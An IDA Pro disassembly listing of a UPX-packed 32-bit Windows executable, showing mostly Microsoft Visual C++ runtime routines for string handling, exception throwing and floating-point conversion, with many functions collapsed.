		push	offset unknown_libname_14 ; Microsoft VisualC 2-8/net runtime
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		and	[ebp+var_4], 0
		mov	eax, ds:off_4388D4
		test	eax, eax
		jz	short loc_41CB1A
		mov	[ebp+var_4], 1
		call	eax ; sub_41CA7C
		jmp	short loc_41CB16
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]


loc_41CB16:				; CODE XREF: sub_41CAD2+3Bj
		and	[ebp+var_4], 0


loc_41CB1A:				; CODE XREF: sub_41CAD2+30j
		or	[ebp+var_4], 0FFFFFFFFh
		call	$+5


loc_41CB23:				; DATA XREF: UPX0:00423890o
		jmp	sub_41CA7C
sub_41CAD2	endp

; [00000029 BYTES: COLLAPSED FUNCTION __msize. PRESS KEYPAD "+"	TO EXPAND]
; [000000C2 BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper.	PRESS KEYPAD "+" TO EXPAND]
; [00000A25 BYTES: COLLAPSED FUNCTION __input. PRESS KEYPAD "+"	TO EXPAND]
; [00000037 BYTES: COLLAPSED FUNCTION __hextodec. PRESS	KEYPAD "+" TO EXPAND]
; [0000001A BYTES: COLLAPSED FUNCTION _fgetc. PRESS KEYPAD "+" TO EXPAND]
; [00000017 BYTES: COLLAPSED FUNCTION __un_inc.	PRESS KEYPAD "+" TO EXPAND]
; [00000024 BYTES: COLLAPSED FUNCTION __whiteout. PRESS	KEYPAD "+" TO EXPAND]
; [000000D9 BYTES: COLLAPSED FUNCTION __filbuf.	PRESS KEYPAD "+" TO EXPAND]
; [000001F6 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND]
; [0000009A BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+"	TO EXPAND]
; [00000158 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS	KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt.	PRESS KEYPAD "+" TO EXPAND]
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO	EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS.	PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD	"+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+"	TO EXPAND]
; [0000008A BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS	KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+"	TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD	"+" TO EXPAND]
; [00000141 BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO	EXPAND]
; [00000043 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD	"+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __wincmdln. PRESS	KEYPAD "+" TO EXPAND]
; [000000B9 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND]
; [00000099 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND]
; [000001B4 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND]
; [00000132 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO	EXPAND]
; [000001AB BYTES: COLLAPSED FUNCTION __ioinit.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_14. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_15:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND]
; [00000153 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO	EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf.	PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty.	PRESS KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO	EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD	"+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb. PRESS KEYPAD "+"	TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA. PRESS KEYPAD "+" TO	EXPAND]
; [00000095 BYTES: COLLAPSED FUNCTION __alloc_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [00000077 BYTES: COLLAPSED FUNCTION __set_osfhnd. PRESS KEYPAD "+" TO	EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle. PRESS KEYPAD "+"	TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit.	PRESS KEYPAD "+" TO EXPAND]
; [000002B9 BYTES: COLLAPSED FUNCTION __sopen. PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41F6F3	proc near		; CODE XREF: __umatherr+52p
		xor	eax, eax
		retn
sub_41F6F3	endp

; [00000035 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD	"+" TO EXPAND]
; [00000016 BYTES: COLLAPSED FUNCTION __controlfp. PRESS KEYPAD	"+" TO EXPAND]
; [00000092 BYTES: COLLAPSED FUNCTION __abstract_cw. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+"	TO EXPAND]
; [00000049 BYTES: COLLAPSED FUNCTION __ZeroTail. PRESS	KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION __IncMan.	PRESS KEYPAD "+" TO EXPAND]
; [0000008C BYTES: COLLAPSED FUNCTION __RoundMan. PRESS	KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __CopyMan. PRESS KEYPAD "+" TO EXPAND]
; [0000000C BYTES: COLLAPSED FUNCTION __FillZeroMan. PRESS KEYPAD "+" TO EXPAND]
; [0000001B BYTES: COLLAPSED FUNCTION __IsZeroMan. PRESS KEYPAD	"+" TO EXPAND]
; [0000008D BYTES: COLLAPSED FUNCTION __ShrMan.	PRESS KEYPAD "+" TO EXPAND]
; [0000016C BYTES: COLLAPSED FUNCTION __ld12cvt. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41FBC2	proc near		; CODE XREF: sub_41FBEE+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438EF0
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	__ld12cvt
		add	esp, 0Ch
		retn
sub_41FBC2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FBD8	proc near		; CODE XREF: sub_41FC1B+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_438F08
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	__ld12cvt
		add	esp, 0Ch
		retn
sub_41FBD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FBEE	proc near		; CODE XREF: __fassign+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	___strgtold12
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FBC2
		add	esp, 24h
		leave
		retn
sub_41FBEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FC1B	proc near		; CODE XREF: __fassign+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	___strgtold12
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41FBD8
		add	esp, 24h
		leave
		retn
sub_41FC1B	endp

; [00000077 BYTES: COLLAPSED FUNCTION __fptostr. PRESS KEYPAD "+" TO EXPAND]
; [00000064 BYTES: COLLAPSED FUNCTION __fltout.	PRESS KEYPAD "+" TO EXPAND]
; [000000B6 BYTES: COLLAPSED FUNCTION ___dtold.	PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	2
		call	__amsg_exit
		pop	ecx
		retn
; [00000046 BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS	*). PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41FE28	proc near		; DATA XREF: UPX0:00425024o
		push	offset ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z ; __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *)
		call	ds:dword_423020	; SetUnhandledExceptionFilter
		mov	ds:dword_4871C8, eax
		retn
sub_41FE28	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE39	proc near		; DATA XREF: UPX0:0042503Co
		push	ds:dword_4871C8
		call	ds:dword_423020	; SetUnhandledExceptionFilter
		retn
sub_41FE39	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: FindHandler(EHExceptionRecord *,EHRegistrationNode	*,_CONTEXT *,void *,_s_FuncInfo	const *,uchar,int,EHRegistrationNode *)+6Bp
					; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_42301C	; IsBadReadPtr
		test	eax, eax
		jz	short loc_41FE5E
		xor	esi, esi


loc_41FE5E:				; CODE XREF: sub_41FE46+14j
		mov	eax, esi
		pop	esi
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE62	proc near		; CODE XREF: BuildCatchObject(EHExceptionRecord	*,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+73p
					; BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	ds:dword_4231B4	; IsBadWritePtr
		test	eax, eax
		jz	short loc_41FE7A
		xor	esi, esi


loc_41FE7A:				; CODE XREF: sub_41FE62+14j
		mov	eax, esi
		pop	esi
		retn
sub_41FE62	endp

; [00000018 BYTES: COLLAPSED FUNCTION _ValidateExecute(int (*)(void)). PRESS KEYPAD "+"	TO EXPAND]
; ---------------------------------------------------------------------------
; [00000017 BYTES: COLLAPSED CHUNK OF FUNCTION sub_41CA7C. PRESS KEYPAD	"+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION ___tzset.	PRESS KEYPAD "+" TO EXPAND]
; [0000025E BYTES: COLLAPSED FUNCTION __tzset. PRESS KEYPAD "+"	TO EXPAND]
; [000001AC BYTES: COLLAPSED FUNCTION __isindst. PRESS KEYPAD "+" TO EXPAND]
; [00000140 BYTES: COLLAPSED FUNCTION _cvtdate.	PRESS KEYPAD "+" TO EXPAND]
; [000000C8 BYTES: COLLAPSED FUNCTION _mbtowc. PRESS KEYPAD "+"	TO EXPAND]
; [00000028 BYTES: COLLAPSED FUNCTION _isspace.	PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000001F BYTES: COLLAPSED FUNCTION __allshl.	PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION _ungetc. PRESS KEYPAD "+"	TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead. PRESS KEYPAD	"+" TO EXPAND]
; [00000031 BYTES: COLLAPSED FUNCTION _x_ismbbtype. PRESS KEYPAD "+" TO	EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _calloc. PRESS KEYPAD "+"	TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall. PRESS KEYPAD	"+" TO EXPAND]
; [00000146 BYTES: COLLAPSED FUNCTION __chsize.	PRESS KEYPAD "+" TO EXPAND]
; [00000021 BYTES: COLLAPSED FUNCTION ___addl. PRESS KEYPAD "+"	TO EXPAND]
; [0000005E BYTES: COLLAPSED FUNCTION ___add_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002E BYTES: COLLAPSED FUNCTION ___shl_12. PRESS KEYPAD "+" TO EXPAND]
; [0000002D BYTES: COLLAPSED FUNCTION ___shr_12. PRESS KEYPAD "+" TO EXPAND]
; [000000C7 BYTES: COLLAPSED FUNCTION ___mtold12. PRESS	KEYPAD "+" TO EXPAND]
; [000004A1 BYTES: COLLAPSED FUNCTION ___strgtold12. PRESS KEYPAD "+" TO EXPAND]
off_420EB5	dd offset loc_420A7E	; DATA XREF: ___strgtold12+63r
		dd offset loc_420ACD	; jump table for switch	statement
		dd offset loc_420B24
		dd offset loc_420B4E
		dd offset loc_420BA9
		dd offset loc_420C20
		dd offset loc_420C56
		dd offset loc_420CA0
		dd offset loc_420C7F
		dd offset loc_420D04
		dd offset loc_420CEE
		dd offset loc_420CBA
; [00000293 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO	EXPAND]
; [0000012D BYTES: COLLAPSED FUNCTION _raise. PRESS KEYPAD "+" TO EXPAND]
; [00000045 BYTES: COLLAPSED FUNCTION _siglookup. PRESS	KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _getenv. PRESS KEYPAD "+"	TO EXPAND]
; [00000076 BYTES: COLLAPSED FUNCTION __setmode. PRESS KEYPAD "+" TO EXPAND]
; [00000220 BYTES: COLLAPSED FUNCTION ___ld12mul. PRESS	KEYPAD "+" TO EXPAND]
; [0000007C BYTES: COLLAPSED FUNCTION ___multtenpow12. PRESS KEYPAD "+"	TO EXPAND]
; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll. PRESS KEYPAD "+" TO	EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ.	PRESS KEYPAD "+" TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA. PRESS KEYPAD "+" TO	EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv. PRESS KEYPAD "+" TO	EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv.	PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ. PRESS KEYPAD "+" TO EXPAND]
; [00000073 BYTES: COLLAPSED FUNCTION __mbschr.	PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup.	PRESS KEYPAD "+" TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_421C90(char	*Src,int)

sub_421C90	proc near		; CODE XREF: sub_421D73+19p
					; sub_421E9A+19p

Src		= dword	ptr  4

		push	esi
		push	[esp+4+Src]	; Str
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	_strlen
		pop	ecx
		push	eax		; Size
		push	[esp+8+Src]	; Src
		mov	ecx, esi
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(char	const *,uint)
		mov	eax, esi
		pop	esi
		retn	8
sub_421C90	endp


; =============== S U B	R O U T	I N E =======================================



sub_421CBA	proc near		; CODE XREF: UPX0:00421CE5p
					; sub_421D68+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_423C6C
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool)
		mov	ecx, esi
		pop	esi
		jmp	sub_4220B6
sub_421CBA	endp

; [0000000D BYTES: COLLAPSED FUNCTION sub_421CD5. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_421CE2:				; DATA XREF: UPX0:off_423C6Co
		push	esi
		mov	esi, ecx
		call	sub_421CBA
		test	byte ptr [esp+8], 1
		jz	short loc_421CF8
		push	esi
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_421CF8:				; CODE XREF: UPX0:00421CEFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421CFE	proc near		; CODE XREF: sub_421D73+29p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_422632
		call	__EH_prolog
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_10]
		mov	esi, ecx
		push	eax
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], offset dword_423C88
		call	??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
		push	[ebp+arg_0]
		and	[ebp+var_4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_423C6C
		call	sub_421DB0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [esi], offset	off_423C7C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_421CFE	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_421D4C(void *Memory,char)

sub_421D4C	proc near		; DATA XREF: UPX0:off_423C7Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_421D68
		test	[esp+4+arg_0], 1
		jz	short loc_421D62
		push	esi		; Memory
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_421D62:				; CODE XREF: sub_421D4C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_421D4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_421D68	proc near		; CODE XREF: sub_421D4C+3p
					; DATA XREF: UPX0:00423FF4o
		mov	dword ptr [ecx], offset	off_423C7C
		jmp	sub_421CBA
sub_421D68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D73	proc near		; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)+13p
					; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::erase(uint,uint)+Ep

var_3C		= byte ptr -3Ch
var_20		= byte ptr -20h
var_D		= dword	ptr -0Dh
var_4		= dword	ptr -4

		mov	eax, offset loc_422644
		call	__EH_prolog
		sub	esp, 30h
		lea	eax, [ebp+var_D]
		push	eax		; int
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp+var_20]
		call	sub_421C90
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_3C]
		call	sub_421CFE
		push	offset dword_423FF0
		lea	eax, [ebp+var_3C]
		push	eax
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
sub_421D73	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421DB0	proc near		; CODE XREF: sub_421CFE+32p
					; sub_421DD0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@ABV12@II@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const &,uint,uint)
		mov	eax, esi
		pop	esi
		retn	4
sub_421DB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421DD0	proc near		; CODE XREF: sub_421E9A+29p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_422656
		call	__EH_prolog
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_10]
		mov	esi, ecx
		push	eax
		mov	[ebp+var_14], esi
		mov	[ebp+var_10], offset dword_423C88
		call	??0exception@@QAE@ABQBD@Z ; exception::exception(char const * const &)
		push	[ebp+arg_0]
		and	[ebp+var_4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_423C6C
		call	sub_421DB0
		mov	ecx, [ebp+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_421DD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E18	proc near		; CODE XREF: sub_421E82+7p
					; sub_421EDE+7p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		mov	eax, offset loc_422668
		call	__EH_prolog
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, ecx
		push	edi
		mov	[ebp+var_10], esi
		call	??0exception@@QAE@ABV0@@Z ; exception::exception(exception const &)
		and	[ebp+var_4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_423C6C
		call	sub_421DB0
		mov	ecx, [ebp+var_C]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_421E18	endp


; =============== S U B	R O U T	I N E =======================================


; int __thiscall sub_421E5B(void *Memory,char)

sub_421E5B	proc near		; DATA XREF: UPX0:off_423CA8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_421E77
		test	[esp+4+arg_0], 1
		jz	short loc_421E71
		push	esi		; Memory
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_421E71:				; CODE XREF: sub_421E5B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_421E5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E77	proc near		; CODE XREF: sub_421E5B+3p
					; DATA XREF: UPX0:0042409Co
		mov	dword ptr [ecx], offset	off_423CA8
		jmp	sub_421CBA
sub_421E77	endp


; =============== S U B	R O U T	I N E =======================================



sub_421E82	proc near		; CODE XREF: sub_421EF6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_421E18
		mov	dword ptr [esi], offset	off_423C7C
		mov	eax, esi
		pop	esi
		retn	4
sub_421E82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E9A	proc near		; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)+15p
					; sub_4044BE+15p ...

var_3C		= dword	ptr -3Ch
var_20		= byte ptr -20h
var_D		= dword	ptr -0Dh
var_4		= dword	ptr -4

		mov	eax, offset loc_42267A
		call	__EH_prolog
		sub	esp, 30h
		lea	eax, [ebp+var_D]
		push	eax		; int
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_20]
		call	sub_421C90
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_3C]
		call	sub_421DD0
		push	offset dword_424098
		lea	eax, [ebp+var_3C]
		push	eax
		mov	[ebp+var_3C], offset off_423CA8
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
sub_421E9A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421EDE	proc near		; CODE XREF: sub_421EF6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_421E18
		mov	dword ptr [esi], offset	off_423CA8
		mov	eax, esi
		pop	esi
		retn	4
sub_421EDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421EF6	proc near		; DATA XREF: UPX0:00423C74o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_421E18
		push	offset dword_4240D8
		lea	eax, [ebp+var_1C]
		push	eax
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger


loc_421F14:				; DATA XREF: UPX0:00423CB0o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_421EDE
		push	offset dword_424098
		lea	eax, [ebp+var_1C]
		push	eax
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger


loc_421F32:				; DATA XREF: UPX0:00423C84o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_421E82
		push	offset dword_423FF0
		lea	eax, [ebp+var_1C]
		push	eax
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
sub_421EF6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421F50	proc near		; CODE XREF: sub_404950+6Cp
		jmp	ds:dword_4231D4
sub_421F50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421F56	proc near		; CODE XREF: sub_403DED+5Ep
					; sub_4053D6+159p
		jmp	ds:dword_423210
sub_421F56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421F5C	proc near		; CODE XREF: unknown_libname_2+23p
					; __global_unwind2+13p
		jmp	ds:dword_423188
sub_421F5C	endp

; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD	"+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_422013:				; DATA XREF: UPX0:off_423CD0o
		push	esi
		mov	esi, ecx
		call	sub_4220B6
		test	byte ptr [esp+8], 1
		jz	short loc_422029
		push	esi
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_422029:				; CODE XREF: UPX0:00422020j
		mov	eax, esi
		pop	esi
		retn	4
; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char	const *	const &). PRESS	KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4220B6	proc near		; CODE XREF: sub_421CBA+16j
					; UPX0:00422016p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_423CD0
		jz	short locret_4220CB
		push	dword ptr [ecx+4] ; Memory
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx

locret_4220CB:				; CODE XREF: sub_4220B6+Aj
		retn
sub_4220B6	endp

; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_16. PRESS	KEYPAD "+" TO EXPAND]
; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+"	TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS	KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt.	PRESS KEYPAD "+" TO EXPAND]
